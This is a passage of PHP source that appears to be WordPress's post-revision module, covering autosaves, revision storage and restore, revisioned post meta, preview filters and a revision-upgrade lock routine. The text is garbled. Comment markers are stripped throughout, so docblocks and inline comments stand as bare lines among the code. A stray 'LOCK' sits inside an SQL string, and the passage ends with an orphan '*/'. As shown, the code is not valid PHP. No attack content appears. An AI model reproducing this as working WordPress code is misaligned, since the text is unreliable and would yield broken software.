return $return;
}
*
* Retrieves the autosaved data of the specified post.
*
* Returns a post object with the information that was autosaved for the specified post.
* If the optional $user_id is passed, returns the autosave for that user, otherwise
* returns the latest autosave.
*
* @since 2.6.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param int $post_id The post ID.
* @param int $user_id Optional. The post author ID. Default 0.
* @return WP_Post|false The autosaved data or false on failure or when no autosave exists.
function wp_get_post_autosave( $post_id, $user_id = 0 ) {
global $wpdb;
$autosave_name = $post_id . '-autosave-v1';
$user_id_query = ( 0 !== $user_id ) ? "AND post_author = $user_id" : null;
Construct the autosave query.
$autosave_query = "
SELECT *
FROM $wpdb->posts
WHERE post_parent = %d
AND post_type = 'revision'
AND post_status = 'inherit'
AND post_name = %s " . $user_id_query . '
ORDER BY post_date DESC
LIMIT 1';
$autosave = $wpdb->get_results(
$wpdb->prepare(
$autosave_query,
$post_id,
$autosave_name
)
);
if ( ! $autosave ) {
return false;
}
return get_post( $autosave[0] );
}
*
* Determines if the specified post is a revision.
*
* @since 2.6.0
*
* @param int|WP_Post $post Post ID or post object.
* @return int|false ID of revision's parent on success, false if not a revision.
function wp_is_post_revision( $post ) {
$post = wp_get_post_revision( $post );
if ( ! $post ) {
return false;
}
return (int) $post->post_parent;
}
*
* Determines if the specified post is an autosave.
*
* @since 2.6.0
*
* @param int|WP_Post $post Post ID or post object.
* @return int|false ID of autosave's parent on success, false if not a revision.
function wp_is_post_autosave( $post ) {
$post = wp_get_post_revision( $post );
if ( ! $post ) {
return false;
}
if ( str_contains( $post->post_name, "{$post->post_parent}-autosave" ) ) {
return (int) $post->post_parent;
}
return false;
}
*
* Inserts post data into the posts table as a post revision.
*
* @since 2.6.0
* @access private
*
* @param int|WP_Post|array|null $post Post ID, post object OR post array.
* @param bool $autosave Optional. Whether the revision is an autosave or not.
* Default false.
* @return int|WP_Error WP_Error or 0 if error, new revision ID if success.
function _wp_put_post_revision( $post = null, $autosave = false ) {
if ( is_object( $post ) ) {
$post = get_object_vars( $post );
} elseif ( ! is_array( $post ) ) {
$post = get_post( $post, ARRAY_A );
}
if ( ! $post || empty( $post['ID'] ) ) {
return new WP_Error( 'invalid_post', __( 'Invalid post ID.' ) );
}
if ( isset( $post['post_type'] ) && 'revision' === $post['post_type'] ) {
return new WP_Error( 'post_type', __( 'Cannot create a revision of a revision' ) );
}
$post = _wp_post_revision_data( $post, $autosave );
$post = wp_slash( $post ); Since data is from DB.
$revision_id = wp_insert_post( $post, true );
if ( is_wp_error( $revision_id ) ) {
return $revision_id;
}
if ( $revision_id ) {
*
* Fires once a revision has been saved.
*
* @since 2.6.0
* @since 6.4.0 The post_id parameter was added.
*
* @param int $revision_id Post revision ID.
* @param int $post_id Post ID.
do_action( '_wp_put_post_revision', $revision_id, $post['post_parent'] );
}
return $revision_id;
}
*
* Save the revisioned meta fields.
*
* @since 6.4.0
*
* @param int $revision_id The ID of the revision to save the meta to.
* @param int $post_id The ID of the post the revision is associated with.
function wp_save_revisioned_meta_fields( $revision_id, $post_id ) {
$post_type = get_post_type( $post_id );
if ( ! $post_type ) {
return;
}
foreach ( wp_post_revision_meta_keys( $post_type ) as $meta_key ) {
if ( metadata_exists( 'post', $post_id, $meta_key ) ) {
_wp_copy_post_meta( $post_id, $revision_id, $meta_key );
}
}
}
*
* Gets a post revision.
*
* @since 2.6.0
*
* @param int|WP_Post $post Post ID or post object.
* @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which
* correspond to a WP_Post object, an associative array, or a numeric array,
* respectively. Default OBJECT.
* @param string $filter Optional sanitization filter. See sanitize_post(). Default 'raw'.
* @return WP_Post|array|null WP_Post (or array) on success, or null on failure.
function wp_get_post_revision( &$post, $output = OBJECT, $filter = 'raw' ) {
$revision = get_post( $post, OBJECT, $filter );
if ( ! $revision ) {
return $revision;
}
if ( 'revision' !== $revision->post_type ) {
return null;
}
if ( OBJECT === $output ) {
return $revision;
} elseif ( ARRAY_A === $output ) {
$_revision = get_object_vars( $revision );
return $_revision;
} elseif ( ARRAY_N === $output ) {
$_revision = array_values( get_object_vars( $revision ) );
return $_revision;
}
return $revision;
}
*
* Restores a post to the specified revision.
*
* Can restore a past revision using all fields of the post revision, or only selected fields.
*
* @since 2.6.0
*
* @param int|WP_Post $revision Revision ID or revision object.
* @param array $fields Optional. What fields to restore from. Defaults to all.
* @return int|false|null Null if error, false if no fields to restore, (int) post ID if success.
function wp_restore_post_revision( $revision, $fields = null ) {
$revision = wp_get_post_revision( $revision, ARRAY_A );
if ( ! $revision ) {
return $revision;
}
if ( ! is_array( $fields ) ) {
$fields = array_keys( _wp_post_revision_fields( $revision ) );
}
$update = array();
foreach ( array_intersect( array_keys( $revision ), $fields ) as $field ) {
$update[ $field ] = $revision[ $field ];
}
if ( ! $update ) {
return false;
}
$update['ID'] = $revision['post_parent'];
$update = wp_slash( $update ); Since data is from DB.
$post_id = wp_update_post( $update );
if ( ! $post_id || is_wp_error( $post_id ) ) {
return $post_id;
}
Update last edit user.
update_post_meta( $post_id, '_edit_last', get_current_user_id() );
*
* Fires after a post revision has been restored.
*
* @since 2.6.0
*
* @param int $post_id Post ID.
* @param int $revision_id Post revision ID.
do_action( 'wp_restore_post_revision', $post_id, $revision['ID'] );
return $post_id;
}
*
* Restore the revisioned meta values for a post.
*
* @since 6.4.0
*
* @param int $post_id The ID of the post to restore the meta to.
* @param int $revision_id The ID of the revision to restore the meta from.
function wp_restore_post_revision_meta( $post_id, $revision_id ) {
$post_type = get_post_type( $post_id );
if ( ! $post_type ) {
return;
}
Restore revisioned meta fields.
foreach ( wp_post_revision_meta_keys( $post_type ) as $meta_key ) {
Clear any existing meta.
delete_post_meta( $post_id, $meta_key );
_wp_copy_post_meta( $revision_id, $post_id, $meta_key );
}
}
*
* Copy post meta for the given key from one post to another.
*
* @since 6.4.0
*
* @param int $source_post_id Post ID to copy meta value(s) from.
* @param int $target_post_id Post ID to copy meta value(s) to.
* @param string $meta_key Meta key to copy.
function _wp_copy_post_meta( $source_post_id, $target_post_id, $meta_key ) {
foreach ( get_post_meta( $source_post_id, $meta_key ) as $meta_value ) {
*
* We use add_metadata() function vs add_post_meta() here
* to allow for a revision post target OR regular post.
add_metadata( 'post', $target_post_id, $meta_key, wp_slash( $meta_value ) );
}
}
*
* Determine which post meta fields should be revisioned.
*
* @since 6.4.0
*
* @param string $post_type The post type being revisioned.
* @return array An array of meta keys to be revisioned.
function wp_post_revision_meta_keys( $post_type ) {
$registered_meta = array_merge(
get_registered_meta_keys( 'post' ),
get_registered_meta_keys( 'post', $post_type )
);
$wp_revisioned_meta_keys = array();
foreach ( $registered_meta as $name => $args ) {
if ( $args['revisions_enabled'] ) {
$wp_revisioned_meta_keys[ $name ] = true;
}
}
$wp_revisioned_meta_keys = array_keys( $wp_revisioned_meta_keys );
*
* Filter the list of post meta keys to be revisioned.
*
* @since 6.4.0
*
* @param array $keys An array of meta fields to be revisioned.
* @param string $post_type The post type being revisioned.
return apply_filters( 'wp_post_revision_meta_keys', $wp_revisioned_meta_keys, $post_type );
}
*
* Check whether revisioned post meta fields have changed.
*
* @since 6.4.0
*
* @param bool $post_has_changed Whether the post has changed.
* @param WP_Post $last_revision The last revision post object.
* @param WP_Post $post The post object.
* @return bool Whether the post has changed.
function wp_check_revisioned_meta_fields_have_changed( $post_has_changed, WP_Post $last_revision, WP_Post $post ) {
foreach ( wp_post_revision_meta_keys( $post->post_type ) as $meta_key ) {
if ( get_post_meta( $post->ID, $meta_key ) !== get_post_meta( $last_revision->ID, $meta_key ) ) {
$post_has_changed = true;
break;
}
}
return $post_has_changed;
}
*
* Deletes a revision.
*
* Deletes the row from the posts table corresponding to the specified revision.
*
* @since 2.6.0
*
* @param int|WP_Post $revision Revision ID or revision object.
* @return WP_Post|false|null Null or false if error, deleted post object if success.
function wp_delete_post_revision( $revision ) {
$revision = wp_get_post_revision( $revision );
if ( ! $revision ) {
return $revision;
}
$delete = wp_delete_post( $revision->ID );
if ( $delete ) {
*
* Fires once a post revision has been deleted.
*
* @since 2.6.0
*
* @param int $revision_id Post revision ID.
* @param WP_Post $revision Post revision object.
do_action( 'wp_delete_post_revision', $revision->ID, $revision );
}
return $delete;
}
*
* Returns all revisions of specified post.
*
* @since 2.6.0
*
* @see get_children()
*
* @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
* @param array|null $args Optional. Arguments for retrieving post revisions. Default null.
* @return WP_Post[]|int[] Array of revision objects or IDs, or an empty array if none.
function wp_get_post_revisions( $post = 0, $args = null ) {
$post = get_post( $post );
if ( ! $post || empty( $post->ID ) ) {
return array();
}
$defaults = array(
'order' => 'DESC',
'orderby' => 'date ID',
'check_enabled' => true,
);
$args = wp_parse_args( $args, $defaults );
if ( $args['check_enabled'] && ! wp_revisions_enabled( $post ) ) {
return array();
}
$args = array_merge(
$args,
array(
'post_parent' => $post->ID,
'post_type' => 'revision',
'post_status' => 'inherit',
)
);
$revisions = get_children( $args );
if ( ! $revisions ) {
return array();
}
return $revisions;
}
*
* Returns the latest revision ID and count of revisions for a post.
*
* @since 6.1.0
*
* @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
* @return array|WP_Error {
* Returns associative array with latest revision ID and total count,
* or a WP_Error if the post does not exist or revisions are not enabled.
*
* @type int $latest_id The latest revision post ID or 0 if no revisions exist.
* @type int $count The total count of revisions for the given post.
* }
function wp_get_latest_revision_id_and_total_count( $post = 0 ) {
$post = get_post( $post );
if ( ! $post ) {
return new WP_Error( 'invalid_post', __( 'Invalid post.' ) );
}
if ( ! wp_revisions_enabled( $post ) ) {
return new WP_Error( 'revisions_not_enabled', __( 'Revisions not enabled.' ) );
}
$args = array(
'post_parent' => $post->ID,
'fields' => 'ids',
'post_type' => 'revision',
'post_status' => 'inherit',
'order' => 'DESC',
'orderby' => 'date ID',
'posts_per_page' => 1,
'ignore_sticky_posts' => true,
);
$revision_query = new WP_Query();
$revisions = $revision_query->query( $args );
if ( ! $revisions ) {
return array(
'latest_id' => 0,
'count' => 0,
);
}
return array(
'latest_id' => $revisions[0],
'count' => $revision_query->found_posts,
);
}
*
* Returns the url for viewing and potentially restoring revisions of a given post.
*
* @since 5.9.0
*
* @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
* @return string|null The URL for editing revisions on the given post, otherwise null.
function wp_get_post_revisions_url( $post = 0 ) {
$post = get_post( $post );
if ( ! $post instanceof WP_Post ) {
return null;
}
If the post is a revision, return early.
if ( 'revision' === $post->post_type ) {
return get_edit_post_link( $post );
}
if ( ! wp_revisions_enabled( $post ) ) {
return null;
}
$revisions = wp_get_latest_revision_id_and_total_count( $post->ID );
if ( is_wp_error( $revisions ) || 0 === $revisions['count'] ) {
return null;
}
return get_edit_post_link( $revisions['latest_id'] );
}
*
* Determines whether revisions are enabled for a given post.
*
* @since 3.6.0
*
* @param WP_Post $post The post object.
* @return bool True if number of revisions to keep isn't zero, false otherwise.
function wp_revisions_enabled( $post ) {
return wp_revisions_to_keep( $post ) !== 0;
}
*
* Determines how many revisions to retain for a given post.
*
* By default, an infinite number of revisions are kept.
*
* The constant WP_POST_REVISIONS can be set in wp-config to specify the limit
* of revisions to keep.
*
* @since 3.6.0
*
* @param WP_Post $post The post object.
* @return int The number of revisions to keep.
function wp_revisions_to_keep( $post ) {
$num = WP_POST_REVISIONS;
if ( true === $num ) {
$num = -1;
} else {
$num = (int) $num;
}
if ( ! post_type_supports( $post->post_type, 'revisions' ) ) {
$num = 0;
}
*
* Filters the number of revisions to save for the given post.
*
* Overrides the value of WP_POST_REVISIONS.
*
* @since 3.6.0
*
* @param int $num Number of revisions to store.
* @param WP_Post $post Post object.
$num = apply_filters( 'wp_revisions_to_keep', $num, $post );
*
* Filters the number of revisions to save for the given post by its post type.
*
* Overrides both the value of WP_POST_REVISIONS and the {@see 'wp_revisions_to_keep'} filter.
*
* The dynamic portion of the hook name, `$post->post_type`, refers to
* the post type slug.
*
* Possible hook names include:
*
* - `wp_post_revisions_to_keep`
* - `wp_page_revisions_to_keep`
*
* @since 5.8.0
*
* @param int $num Number of revisions to store.
* @param WP_Post $post Post object.
$num = apply_filters( "wp_{$post->post_type}_revisions_to_keep", $num, $post );
return (int) $num;
}
*
* Sets up the post object for preview based on the post autosave.
*
* @since 2.7.0
* @access private
*
* @param WP_Post $post
* @return WP_Post|false
function _set_preview( $post ) {
if ( ! is_object( $post ) ) {
return $post;
}
$preview = wp_get_post_autosave( $post->ID );
if ( is_object( $preview ) ) {
$preview = sanitize_post( $preview );
$post->post_content = $preview->post_content;
$post->post_title = $preview->post_title;
$post->post_excerpt = $preview->post_excerpt;
}
add_filter( 'get_the_terms', '_wp_preview_terms_filter', 10, 3 );
add_filter( 'get_post_metadata', '_wp_preview_post_thumbnail_filter', 10, 3 );
add_filter( 'get_post_metadata', '_wp_preview_meta_filter', 10, 4 );
return $post;
}
*
* Filters the latest content for preview from the post autosave.
*
* @since 2.7.0
* @access private
function _show_post_preview() {
if ( isset( $_GET['preview_id'] ) && isset( $_GET['preview_nonce'] ) ) {
$id = (int) $_GET['preview_id'];
if ( false === wp_verify_nonce( $_GET['preview_nonce'], 'post_preview_' . $id ) ) {
wp_die( __( 'Sorry, you are not allowed to preview drafts.' ), 403 );
}
add_filter( 'the_preview', '_set_preview' );
}
}
*
* Filters terms lookup to set the post format.
*
* @since 3.6.0
* @access private
*
* @param array $terms
* @param int $post_id
* @param string $taxonomy
* @return array
function _wp_preview_terms_filter( $terms, $post_id, $taxonomy ) {
$post = get_post();
if ( ! $post ) {
return $terms;
}
if ( empty( $_REQUEST['post_format'] ) || $post->ID !== $post_id
|| 'post_format' !== $taxonomy || 'revision' === $post->post_type
) {
return $terms;
}
if ( 'standard' === $_REQUEST['post_format'] ) {
$terms = array();
} else {
$term = get_term_by( 'slug', 'post-format-' . sanitize_key( $_REQUEST['post_format'] ), 'post_format' );
if ( $term ) {
$terms = array( $term ); Can only have one post format.
}
}
return $terms;
}
*
* Filters post thumbnail lookup to set the post thumbnail.
*
* @since 4.6.0
* @access private
*
* @param null|array|string $value The value to return - a single metadata value, or an array of values.
* @param int $post_id Post ID.
* @param string $meta_key Meta key.
* @return null|array The default return value or the post thumbnail meta array.
function _wp_preview_post_thumbnail_filter( $value, $post_id, $meta_key ) {
$post = get_post();
if ( ! $post ) {
return $value;
}
if ( empty( $_REQUEST['_thumbnail_id'] ) || empty( $_REQUEST['preview_id'] )
|| $post->ID !== $post_id || $post_id !== (int) $_REQUEST['preview_id']
|| '_thumbnail_id' !== $meta_key || 'revision' === $post->post_type
) {
return $value;
}
$thumbnail_id = (int) $_REQUEST['_thumbnail_id'];
if ( $thumbnail_id <= 0 ) {
return '';
}
return (string) $thumbnail_id;
}
*
* Gets the post revision version.
*
* @since 3.6.0
* @access private
*
* @param WP_Post $revision
* @return int|false
function _wp_get_post_revision_version( $revision ) {
if ( is_object( $revision ) ) {
$revision = get_object_vars( $revision );
} elseif ( ! is_array( $revision ) ) {
return false;
}
if ( preg_match( '/^\d+-(?:autosave|revision)-v(\d+)$/', $revision['post_name'], $matches ) ) {
return (int) $matches[1];
}
return 0;
}
*
* Upgrades the revisions author, adds the current post as a revision and sets the revisions version to 1.
*
* @since 3.6.0
* @access private
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param WP_Post $post Post object.
* @param array $revisions Current revisions of the post.
* @return bool true if the revisions were upgraded, false if problems.
function _wp_upgrade_revisions_of_post( $post, $revisions ) {
global $wpdb;
Add post option exclusively.
$lock = "revision-upgrade-{$post->ID}";
$now = time();
$result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->options` (`option_name`, `option_value`, `autoload`) VALUES (%s, %s, 'no') LOCK ", $lock, $now ) );
if ( ! $result ) {
If we couldn't get a lock, see how old the previous lock is.
$locked = get_option( $lock );
if ( ! $locked ) {
* Can't write to the lock, and can't read the lock.
* Something broken has happened.
return false;
}
if ( $locked > $now - HOUR_IN_SECONDS ) {
Lock is not too old: some other process may be upgrading this post. Bail.
return false;
}
Lock is too old - update it (below) and continue.
}
If we could get a lock, re-"add" the option to fire all the correct filters.
update_option( $lock, $now );
reset( $revisions );
$add_last = true;
do {
$this_revision = current( $revisions );
$prev_revision = next( $revisions );
$this_revision_version = _wp_get_post_revision_version( $this_revision );
Something terrible happened.
if ( false === $this_revision_version ) {
continue;
}
* 1 is the latest revision version, so we're already up to date.
* No need to add a copy of the post as latest revision.
if ( 0 < $this_revision_version ) {
$add_last = false;
continue;
}
Always update the revision version.
$update = array(
'post_name' => preg_replace( '/^(\d+-(?:autosave|revision))[\d-]*$/', '$1-v1', $this_revision->post_name ),
);
* If this revision is the oldest revision of the post, i.e. no $prev_revision,
* the correct post_author is probably $post->post_author, but that's only a good guess.
* Update the revision version only and Leave the author as-is.
if ( $prev_revision ) {
$prev_revision_version = _wp_get_post_revision_version( $prev_revision );
If the previous revision is already up to date, it no longer has the information we need :(
if ( $prev_revision_version < 1 ) {
$update['post_author'] = $prev_revision->post_author;
}
}
Upgrade this revision.
$result = $wpdb->update( $wpdb->posts, $update, array( 'ID' => $this_revision->ID ) );
if ( $result ) {
wp_cache_delete( $this_revision->ID, 'posts' );
}
} while ( $prev_revision );
delete_option( $lock );
Add a copy of the post as latest revision.
if ( $add_last ) {
wp_save_post_revision( $post->ID );
}
return true;
}
*
* Filters preview post meta retrieval to get values from the autosave.
*
* Filters revisioned meta keys only.
*
* @since 6.4.0
*
* @param mixed $value Meta value to filter.
* @param int $object_id Object ID.
* @param string $meta_key Meta key to filter a value for.
* @param bool $single Whether to return a single value. Default false.
* @return mixed Original meta value if the meta key isn't revisioned, the object doesn't exist,
* the post type is a revision or the post ID doesn't match the object ID.
* Otherwise, the revisioned meta value is returned for the preview.
function _wp_preview_meta_filter( $value, $object_id, $meta_key, $single ) {
$post = get_post();
if (
empty( $post ) ||
$post->ID !== $object_id ||
! in_array( $meta_key, wp_post_revision_meta_keys( $post->post_type ), true ) ||
'revision' === $post->post_type
) {
return $value;
}
$preview = wp_get_post_autosave( $post->ID );
if ( false === $preview ) {
return $value;
}
return get_post_meta( $preview->ID, $meta_key, $single );
}
*/